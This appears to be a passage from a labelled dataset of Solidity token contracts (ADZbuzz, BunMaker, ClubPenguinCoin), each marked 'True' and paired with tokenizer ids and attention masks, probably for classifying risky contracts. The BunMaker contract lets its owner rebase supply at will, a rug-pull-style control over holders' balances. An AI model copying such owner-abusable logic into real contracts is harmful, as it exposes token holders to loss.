1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT221552' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT221552
// Name : ADZbuzz Conserve-energy-future.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT221552";
name = "ADZbuzz Conserve-energy-future.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
2552,
19317,
16068,
25746,
1005,
19204,
3206,
1013,
1013,
1013,
1013,
7333,
2000,
1024,
1014,
2595,
2509,
2546,
19841,
2278,
2692,
2497,
2692,
22407,
2581,
2683,
2278,
21619,
16048,
2475,
2278,
2475,
2278,
21057,
2475,
8586,
7959,
2683,
6305,
2692,
2050,
2620,
2050,
2620,
27717,
2620,
2581,
1013,
1013,
6454,
1024,
2552,
19317,
16068,
25746,
1013,
1013,
2171,
1024,
4748,
2480,
8569,
13213,
27749,
1011,
2943,
1011,
2925,
1012,
4012,
2451,
19204,
1013,
1013,
2561,
4425,
1024,
2456,
8889,
2692,
1013,
1013,
26066,
2015,
1024,
1022,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
2011,
28461,
5658,
2080,
2007,
8945,
19658,
22571,
9541,
24206,
1013,
8945,
2243,
10552,
13866,
2100,
5183,
8740,
2418,
1012,
1996,
10210,
11172,
1012,
1013,
1013,
1006,
1039,
1007,
2011,
11534,
6108,
4168,
2007,
4748,
2480,
8569,
13213,
5183,
1012,
2866,
1006,
4748,
2480,
8569,
13213,
1012,
4012,
1007,
2760,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BunMaker is Ownable {
using SafeMath for uint256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(this));
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
string public constant name = "BunMaker";
string public constant symbol = "BUN";
uint256 public constant decimals = 18;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 12000 * 10**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
function rebase(uint256 epoch, uint256 supplyDelta)
external
onlyOwner
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
_totalSupply = _totalSupply.sub(supplyDelta);
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
constructor() public override {
_owner = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_owner] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), _owner, _totalSupply);
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
16913,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
16913,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
16913,
18845,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
16913,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
999,
1027,
1014,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
2709,
1037,
1003,
1038,
1025,
1065,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
1035,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
5% Buy Tax / 8% Sell Tax
https://t.me/ClubPenguinCoin
https://www.clubpenguincoineth.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ClubPenguinCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Club Penguin Coin";
string private constant _symbol = "CPC";
uint8 private constant _decimals = 9;
